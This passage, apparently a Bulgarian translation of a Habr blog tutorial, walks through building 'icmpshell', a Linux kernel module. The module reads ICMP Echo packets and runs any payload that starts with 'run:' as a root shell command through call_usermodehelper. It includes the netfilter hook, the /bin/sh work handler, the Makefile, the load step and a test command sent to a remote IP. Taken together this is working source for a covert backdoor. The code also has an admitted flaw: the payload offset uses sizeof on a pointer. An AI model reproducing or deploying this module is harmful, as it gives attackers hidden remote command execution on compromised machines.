  5. Π—Π° Π΄Π° Ρ€Π°Π±ΠΎΡ‚ΠΈ функцията, Ρ‰Π΅ Π²ΠΈ трябват Π΄Π²Π΅ структури ΠΈ няколко ΠΏΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²ΠΈ, Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»Π½ΠΎ Π΄Π²Π° ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€Π°.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. МоТСм Π΄Π° Π·Π°ΠΏΠΎΡ‡Π½Π΅ΠΌ с Π»ΠΎΠ³ΠΈΠΊΠ°Ρ‚Π°. Π—Π° Π΄Π° Ρ€Π°Π±ΠΎΡ‚ΠΈ ΠΌΠΎΠ΄ΡƒΠ»ΡŠΡ‚, Π½Π΅ са Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΈ Π΄Ρ€ΡƒΠ³ΠΈ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΈ освСн ICMP Echo, Ρ‚Π°ΠΊΠ° Ρ‡Π΅ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€Π°ΠΌΠ΅ Π±ΡƒΡ„Π΅Ρ€Π° с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° Π²Π³Ρ€Π°Π΄Π΅Π½ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ ΠΈΠ·Ρ…Π²ΡŠΡ€Π»ΡΠΌΠ΅ всички Π½Π΅-ICMP ΠΈ Π½Π΅-Echo ΠΏΠ°ΠΊΠ΅Ρ‚ΠΈ. Π’Ρ€ΡŠΡ‰Π°Π½Π΅ NF_ACCEPT ΠΎΠ·Π½Π°Ρ‡Π°Π²Π° ΠΏΡ€ΠΈΠ΅ΠΌΠ°Π½Π΅ Π½Π° ΠΏΠ°ΠΊΠ΅Ρ‚Π°, Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡŠΡ‰ΠΎ Π΄Π° изпуснСтС ΠΏΠ°ΠΊΠ΅Ρ‚ΠΈ, ΠΊΠ°Ρ‚ΠΎ Π³ΠΈ Π²ΡŠΡ€Π½Π΅Ρ‚Π΅ NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    НС съм тСствал ΠΊΠ°ΠΊΠ²ΠΎ Ρ‰Π΅ сС случи Π±Π΅Π· ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° IP Ρ…Π΅Π΄ΡŠΡ€ΠΈΡ‚Π΅. ΠœΠΎΠΈΡ‚Π΅ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»Π½ΠΈ познания ΠΏΠΎ C ΠΌΠΈ ΠΊΠ°Π·Π²Π°Ρ‚, Ρ‡Π΅ Π±Π΅Π· Π΄ΠΎΠΏΡŠΠ»Π½ΠΈΡ‚Π΅Π»Π½ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π½Π΅Ρ‰ΠΎ уТасно Π½Π΅ΠΏΡ€Π΅ΠΌΠ΅Π½Π½ΠΎ Ρ‰Π΅ сС случи. Π©Π΅ сС Ρ€Π°Π΄Π²Π°ΠΌ, Π°ΠΊΠΎ ΠΌΠ΅ Ρ€Π°Π·ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ Π² Ρ‚ΠΎΠ²Π°!

  7. Π‘Π΅Π³Π°, ΠΊΠΎΠ³Π°Ρ‚ΠΎ ΠΏΠ°ΠΊΠ΅Ρ‚ΡŠΡ‚ Π΅ ΠΎΡ‚ точния Ρ‚ΠΈΠΏ, ΠΎΡ‚ ΠΊΠΎΠΉΡ‚ΠΎ сС Π½ΡƒΠΆΠ΄Π°Π΅Ρ‚Π΅, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Ρ‚Π΅ Π΄Π°Π½Π½ΠΈΡ‚Π΅. Π‘Π΅Π· Π²Π³Ρ€Π°Π΄Π΅Π½Π° функция ΠΏΡŠΡ€Π²ΠΎ трябва Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π» към Π½Π°Ρ‡Π°Π»ΠΎΡ‚ΠΎ Π½Π° полСзния Ρ‚ΠΎΠ²Π°Ρ€. Π’ΠΎΠ²Π° сС ΠΏΡ€Π°Π²ΠΈ Π½Π° Π΅Π΄Π½ΠΎ място, трябва Π΄Π° Π²Π·Π΅ΠΌΠ΅Ρ‚Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π»Π΅Ρ†Π° Π² Π½Π°Ρ‡Π°Π»ΠΎΡ‚ΠΎ Π½Π° ICMP Ρ…Π΅Π΄ΡŠΡ€Π° ΠΈ Π΄Π° Π³ΠΎ прСмСститС Π΄ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Π½Π° Ρ‚ΠΎΠ·ΠΈ Ρ…Π΅Π΄ΡŠΡ€. Всичко ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° структура icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    ΠšΡ€Π°ΡΡ‚ Π½Π° Π·Π°Π³Π»Π°Π²ΠΊΠ°Ρ‚Π° трябва Π΄Π° съвпада с края Π½Π° полСзния Ρ‚ΠΎΠ²Π°Ρ€ Π² skb, слСдоватСлно Π³ΠΎ ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°ΠΌΠ΅ с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° ядрСни срСдства ΠΎΡ‚ ΡΡŠΠΎΡ‚Π²Π΅Ρ‚Π½Π°Ρ‚Π° структура: tail = skb_tail_pointer(skb);.

    Π―Π΄Ρ€Π΅Π½Π° ΠΎΠ±Π²ΠΈΠ²ΠΊΠ° Π½Π°Π΄ ICMP

    ΠšΠ°Ρ€Ρ‚ΠΈΠ½Π°Ρ‚Π° Π΅ ΠΎΡ‚ΠΊΡ€Π°Π΄Π½Π°Ρ‚Π° слСдоватСлно, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΏΡ€ΠΎΡ‡Π΅Ρ‚Π΅Ρ‚Π΅ ΠΏΠΎΠ²Π΅Ρ‡Π΅ Π·Π° Π±ΡƒΡ„Π΅Ρ€Π° Π½Π° сокСта.

  8. Π‘Π»Π΅Π΄ ΠΊΠ°Ρ‚ΠΎ ΠΈΠΌΠ°Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΠΈ към Π½Π°Ρ‡Π°Π»ΠΎΡ‚ΠΎ ΠΈ края, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΊΠΎΠΏΠΈΡ€Π°Ρ‚Π΅ Π΄Π°Π½Π½ΠΈΡ‚Π΅ Π² Π½ΠΈΠ· cmd_string, ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Ρ‚Π΅ Π³ΠΎ Π·Π° Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ Π½Π° прСфикс run: ΠΈ ΠΈΠ»ΠΈ ΠΈΠ·Ρ…Π²ΡŠΡ€Π»Π΅Ρ‚Π΅ ΠΏΠ°ΠΊΠ΅Ρ‚Π°, Π°ΠΊΠΎ липсва, ΠΈΠ»ΠΈ ΠΏΡ€Π΅Π½Π°ΠΏΠΈΡˆΠ΅Ρ‚Π΅ Ρ€Π΅Π΄Π° ΠΎΡ‚Π½ΠΎΠ²ΠΎ, ΠΊΠ°Ρ‚ΠΎ ΠΏΡ€Π΅ΠΌΠ°Ρ…Π½Π΅Ρ‚Π΅ Ρ‚ΠΎΠ·ΠΈ прСфикс.
  9. Π’ΠΎΠ²Π° Π΅ всичко, сСга ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΈΠ·Π²ΠΈΠΊΠ°Ρ‚Π΅ Π΄Ρ€ΡƒΠ³ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»Π°Ρ‚ΠΎΡ€: schedule_work(&my_work);. Въй ΠΊΠ°Ρ‚ΠΎ няма Π΄Π° Π΅ възмоТно Π΄Π° сС ΠΏΡ€Π΅Π΄Π°Π΄Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚ΡŠΡ€ Π½Π° Ρ‚Π°ΠΊΠΎΠ²Π° ΠΈΠ·Π²ΠΈΠΊΠ²Π°Π½Π΅, Ρ€Π΅Π΄ΡŠΡ‚ с ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π° трябва Π΄Π° Π΅ Π³Π»ΠΎΠ±Π°Π»Π΅Π½. schedule_work() Ρ‰Π΅ постави функцията, ΡΠ²ΡŠΡ€Π·Π°Π½Π° с ΠΏΡ€Π΅Π΄Π°Π΄Π΅Π½Π°Ρ‚Π° структура, Π² ΠΎΠ±Ρ‰Π°Ρ‚Π° опашка Π½Π° ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Ρ‡ΠΈΠΊΠ° Π½Π° Π·Π°Π΄Π°Ρ‡ΠΈ ΠΈ Ρ‰Π΅ Π·Π°Π²ΡŠΡ€ΡˆΠΈ, ΠΊΠΎΠ΅Ρ‚ΠΎ Π²ΠΈ позволява Π΄Π° Π½Π΅ Ρ‡Π°ΠΊΠ°Ρ‚Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π° Π΄Π° Π·Π°Π²ΡŠΡ€ΡˆΠΈ. Π’ΠΎΠ²Π° Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ, Π·Π°Ρ‰ΠΎΡ‚ΠΎ ΠΊΡƒΠΊΠ°Ρ‚Π° трябва Π΄Π° Π΅ ΠΌΠ½ΠΎΠ³ΠΎ Π±ΡŠΡ€Π·Π°. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π΅Π½ случай Π²Π°ΡˆΠΈΡΡ‚ ΠΈΠ·Π±ΠΎΡ€ Π΅ Π½ΠΈΡ‰ΠΎ Π΄Π° Π½Π΅ Π·Π°ΠΏΠΎΡ‡Π½Π΅ ΠΈΠ»ΠΈ Ρ‰Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ ΠΏΠ°Π½ΠΈΠΊΠ° Π½Π° ядрото. ЗабавянСто Π΅ ΠΊΠ°Ρ‚ΠΎ ΡΠΌΡŠΡ€Ρ‚!
  10. Π’ΠΎΠ²Π° Π΅ всичко, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΏΡ€ΠΈΠ΅ΠΌΠ΅Ρ‚Π΅ ΠΏΠ°ΠΊΠ΅Ρ‚Π° със ΡΡŠΠΎΡ‚Π²Π΅Ρ‚Π½ΠΎΡ‚ΠΎ Π²Ρ€ΡŠΡ‰Π°Π½Π΅.

ИзвикванС Π½Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠ° Π² потрСбитСлското пространство

Π’Π°Π·ΠΈ функция Π΅ Π½Π°ΠΉ-Ρ€Π°Π·Π±ΠΈΡ€Π°Π΅ΠΌΠ°. Π˜ΠΌΠ΅Ρ‚ΠΎ ΠΌΡƒ бСшС Π΄Π°Π΄Π΅Π½ΠΎ Π² DECLARE_WORK(), Ρ‚ΠΈΠΏΡŠΡ‚ ΠΈ ΠΏΡ€ΠΈΠ΅Ρ‚ΠΈΡ‚Π΅ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΈ Π½Π΅ са интСрСсни. Π’Π·ΠΈΠΌΠ°ΠΌΠ΅ Ρ€Π΅Π΄Π° с ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π° ΠΈ Π³ΠΎ ΠΏΡ€Π΅Π΄Π°Π²Π°ΠΌΠ΅ изцяло Π½Π° ΠΎΠ±Π²ΠΈΠ²ΠΊΠ°Ρ‚Π°. НСка сС Π·Π°Π½ΠΈΠΌΠ°Π²Π° с парсинг, Ρ‚ΡŠΡ€ΡΠ΅Π½Π΅ Π½Π° Π΄Π²ΠΎΠΈΡ‡Π½ΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ ΠΈ всичко останало.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Π—Π°Π΄Π°ΠΉΡ‚Π΅ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ‚Π΅ Π½Π° масив ΠΎΡ‚ Π½ΠΈΠ·ΠΎΠ²Π΅ argv[]. ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°ΠΌ, Ρ‡Π΅ всСки Π·Π½Π°Π΅, Ρ‡Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΈΡ‚Π΅ Π²ΡΡŠΡ‰Π½ΠΎΡΡ‚ сС ΠΈΠ·ΠΏΡŠΠ»Π½ΡΠ²Π°Ρ‚ ΠΏΠΎ Ρ‚ΠΎΠ·ΠΈ Π½Π°Ρ‡ΠΈΠ½, Π° Π½Π΅ ΠΊΠ°Ρ‚ΠΎ Π½Π΅ΠΏΡ€Π΅ΠΊΡŠΡΠ½Π°Ρ‚ Ρ€Π΅Π΄ с ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»ΠΈ.
  2. Π—Π°Π΄Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²ΠΈ Π½Π° срСдата. Π’ΠΌΡŠΠΊΠ½Π°Ρ… само PATH с ΠΌΠΈΠ½ΠΈΠΌΠ°Π»Π΅Π½ Π½Π°Π±ΠΎΡ€ ΠΎΡ‚ ΠΏΡŠΡ‚ΠΈΡ‰Π°, надявайки сС, Ρ‡Π΅ всички Ρ‚Π΅ Π²Π΅Ρ‡Π΅ са ΠΊΠΎΠΌΠ±ΠΈΠ½ΠΈΡ€Π°Π½ΠΈ /bin с /usr/bin ΠΈ /sbin с /usr/sbin. Π”Ρ€ΡƒΠ³ΠΈ ΠΏΡŠΡ‚ΠΈΡ‰Π° рядко ΠΈΠΌΠ°Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ°.
  3. Π“ΠΎΡ‚ΠΎΠ²ΠΎ, Π΄Π° Π³ΠΎ Π½Π°ΠΏΡ€Π°Π²ΠΈΠΌ! Ѐункция Π½Π° ядрото call_usermodehelper() ΠΏΡ€ΠΈΠ΅ΠΌΠ° Π²Π»ΠΈΠ·Π°Π½Π΅. ΠΏΡŠΡ‚ към двоичния Ρ„Π°ΠΉΠ», масив ΠΎΡ‚ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΈ, масив ΠΎΡ‚ ΠΏΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²ΠΈ Π½Π° срСдата. Π’ΡƒΠΊ ΡΡŠΡ‰ΠΎ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°ΠΌ, Ρ‡Π΅ всСки Ρ€Π°Π·Π±ΠΈΡ€Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° ΠΏΡ€Π΅Π΄Π°Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° ΠΏΡŠΡ‚Ρ Π΄ΠΎ изпълнимия Ρ„Π°ΠΉΠ» ΠΊΠ°Ρ‚ΠΎ ΠΎΡ‚Π΄Π΅Π»Π΅Π½ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΏΠΎΠΏΠΈΡ‚Π°Ρ‚Π΅. ΠŸΠΎΡΠ»Π΅Π΄Π½ΠΈΡΡ‚ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ ΡƒΠΊΠ°Π·Π²Π° Π΄Π°Π»ΠΈ Π΄Π° сС ΠΈΠ·Ρ‡Π°ΠΊΠ° ΠΏΡ€ΠΎΡ†Π΅ΡΡŠΡ‚ Π΄Π° Π·Π°Π²ΡŠΡ€ΡˆΠΈ (UMH_WAIT_PROC), Π½Π°Ρ‡Π°Π»ΠΎ Π½Π° процСса (UMH_WAIT_EXEC) ΠΈΠ»ΠΈ ΠΈΠ·ΠΎΠ±Ρ‰ΠΎ Π΄Π° Π½Π΅ Ρ‡Π°ΠΊΠ°Ρ‚Π΅ (UMH_NO_WAIT). Има Π»ΠΈ ΠΎΡ‰Π΅ UMH_KILLABLE, Π½Π΅ Π³ΠΎ Ρ€Π°Π·Π³Π»Π΅Π΄Π°Ρ….

ΠΌΠΎΠ½Ρ‚Π°ΠΆ

БглобяванСто Π½Π° ΠΌΠΎΠ΄ΡƒΠ»ΠΈΡ‚Π΅ Π½Π° ядрото сС ΠΈΠ·Π²ΡŠΡ€ΡˆΠ²Π° Ρ‡Ρ€Π΅Π· Ρ€Π°ΠΌΠΊΠ°Ρ‚Π° Π·Π° създаванС Π½Π° ядрото. НарСчСн make Π² спСциална дирСктория, ΡΠ²ΡŠΡ€Π·Π°Π½Π° с вСрсията Π½Π° ядрото (Π΄Π΅Ρ„ΠΈΠ½ΠΈΡ€Π°Π½Π° Ρ‚ΡƒΠΊ: KERNELDIR:=/lib/modules/$(shell uname -r)/build), Π° мСстополоТСниСто Π½Π° ΠΌΠΎΠ΄ΡƒΠ»Π° сС ΠΏΡ€Π΅Π΄Π°Π²Π° Π½Π° ΠΏΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°Ρ‚Π° M Π² Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ‚Π΅. Π¦Π΅Π»ΠΈΡ‚Π΅ icmpshell.ko ΠΈ clean ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ изцяло Ρ‚Π°Π·ΠΈ Ρ€Π°ΠΌΠΊΠ°. IN obj-m ΠΏΠΎΠΊΠ°Π·Π²Π° обСктния Ρ„Π°ΠΉΠ», ΠΊΠΎΠΉΡ‚ΠΎ Ρ‰Π΅ бъдС ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ²Π°Π½ Π² ΠΌΠΎΠ΄ΡƒΠ». Бинтаксис, ΠΊΠΎΠΉΡ‚ΠΎ сС ΠΏΡ€Π΅Ρ€Π°Π±ΠΎΡ‚Π²Π° main.o Π² icmpshell.o (icmpshell-objs = main.o) Π½Π΅ ΠΌΠΈ ΠΈΠ·Π³Π»Π΅ΠΆΠ΄Π° ΠΌΠ½ΠΎΠ³ΠΎ Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ, Π½ΠΎ Ρ‚Π°ΠΊΠ° Π΄Π° бъдС.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

НиС ΡΡŠΠ±ΠΈΡ€Π°ΠΌΠ΅: make. Π—Π°Ρ€Π΅ΠΆΠ΄Π°Π½Π΅: insmod icmpshell.ko. Π“ΠΎΡ‚ΠΎΠ²ΠΎ, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚Π΅: sudo ./send.py 45.11.26.232 "date > /tmp/test". Ако ΠΈΠΌΠ°Ρ‚Π΅ Ρ„Π°ΠΉΠ» Π½Π° Π²Π°ΡˆΠ°Ρ‚Π° машина /tmp/test ΠΈ ΡΡŠΠ΄ΡŠΡ€ΠΆΠ° Π΄Π°Ρ‚Π°Ρ‚Π°, Π½Π° която Π΅ ΠΈΠ·ΠΏΡ€Π°Ρ‚Π΅Π½Π° заявката, ΠΊΠΎΠ΅Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π²Π°, Ρ‡Π΅ стС Π½Π°ΠΏΡ€Π°Π²ΠΈΠ»ΠΈ всичко ΠΊΠ°ΠΊΡ‚ΠΎ трябва ΠΈ Π°Π· съм Π½Π°ΠΏΡ€Π°Π²ΠΈΠ» всичко ΠΊΠ°ΠΊΡ‚ΠΎ трябва.

Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅

ΠŸΡŠΡ€Π²ΠΈΡΡ‚ ΠΌΠΈ ΠΎΠΏΠΈΡ‚ с ядрСни Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ бСшС ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎ-лСсСн, ΠΎΡ‚ΠΊΠΎΠ»ΠΊΠΎΡ‚ΠΎ ΠΎΡ‡Π°ΠΊΠ²Π°Ρ…. Π”ΠΎΡ€ΠΈ Π±Π΅Π· ΠΎΠΏΠΈΡ‚ Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° C, фокусирайки сС Π²ΡŠΡ€Ρ…Ρƒ подсказкитС Π½Π° ΠΊΠΎΠΌΠΏΠΈΠ»Π°Ρ‚ΠΎΡ€Π° ΠΈ Ρ€Π΅Π·ΡƒΠ»Ρ‚Π°Ρ‚ΠΈΡ‚Π΅ ΠΎΡ‚ Google, успях Π΄Π° напиша Ρ€Π°Π±ΠΎΡ‚Π΅Ρ‰ ΠΌΠΎΠ΄ΡƒΠ» ΠΈ Π΄Π° сС почувствам ΠΊΠ°Ρ‚ΠΎ Ρ…Π°ΠΊΠ΅Ρ€ Π½Π° ядрото ΠΈ Π² ΡΡŠΡ‰ΠΎΡ‚ΠΎ Π²Ρ€Π΅ΠΌΠ΅ Π΄Π΅Ρ‚Π΅ Π½Π° скриптовС. ОсвСн Ρ‚ΠΎΠ²Π° ΠΎΡ‚ΠΈΠ΄ΠΎΡ… Π² ΠΊΠ°Π½Π°Π»Π° Π½Π° Kernel Newbies, ΠΊΡŠΠ΄Π΅Ρ‚ΠΎ ΠΌΠΈ ΠΊΠ°Π·Π°Ρ…Π° Π΄Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌ schedule_work() вмСсто Π΄Π° сС обадя call_usermodehelper() Π²ΡŠΡ‚Ρ€Π΅ Π² самата ΠΊΡƒΠΊΠ° ΠΈ Π³ΠΎ засрами, с ΠΏΡ€Π°Π²ΠΎ ΠΏΠΎΠ΄ΠΎΠ·ΠΈΡ€Π°ΠΉΠΊΠΈ ΠΈΠ·ΠΌΠ°ΠΌΠ°. Π‘Ρ‚ΠΎ Ρ€Π΅Π΄Π° ΠΊΠΎΠ΄ ΠΌΠΈ струваха ΠΎΠΊΠΎΠ»ΠΎ сСдмица Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π² свободното ΠΌΠΈ Π²Ρ€Π΅ΠΌΠ΅. УспСшСн ΠΎΠΏΠΈΡ‚, ΠΊΠΎΠΉΡ‚ΠΎ Ρ€Π°Π·Ρ€ΡƒΡˆΠΈ моя Π»ΠΈΡ‡Π΅Π½ ΠΌΠΈΡ‚ Π·Π° ΠΎΠ³Ρ€ΠΎΠΌΠ½Π°Ρ‚Π° слоТност Π½Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°Ρ‚Π° Π½Π° систСмата.

Ако някой сС съгласи Π΄Π° Π½Π°ΠΏΡ€Π°Π²ΠΈ ΠΏΡ€Π΅Π³Π»Π΅Π΄ Π½Π° ΠΊΠΎΠ΄Π° Π² Github, Ρ‰Π΅ съм Π±Π»Π°Π³ΠΎΠ΄Π°Ρ€Π΅Π½. ΠŸΠΎΡ‡Ρ‚ΠΈ съм сигурСн, Ρ‡Π΅ Π½Π°ΠΏΡ€Π°Π²ΠΈΡ… ΠΌΠ½ΠΎΠ³ΠΎ Π³Π»ΡƒΠΏΠ°Π²ΠΈ Π³Ρ€Π΅ΡˆΠΊΠΈ, особСно ΠΊΠΎΠ³Π°Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π΅Ρ… с Π½ΠΈΠ·ΠΎΠ²Π΅.

Π―Π΄Ρ€Π΅Π½Π° ΠΎΠ±Π²ΠΈΠ²ΠΊΠ° Π½Π°Π΄ ICMP

Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: www.habr.com

ДобавянС Π½Π° Π½ΠΎΠ² ΠΊΠΎΠΌΠ΅Π½Ρ‚Π°Ρ€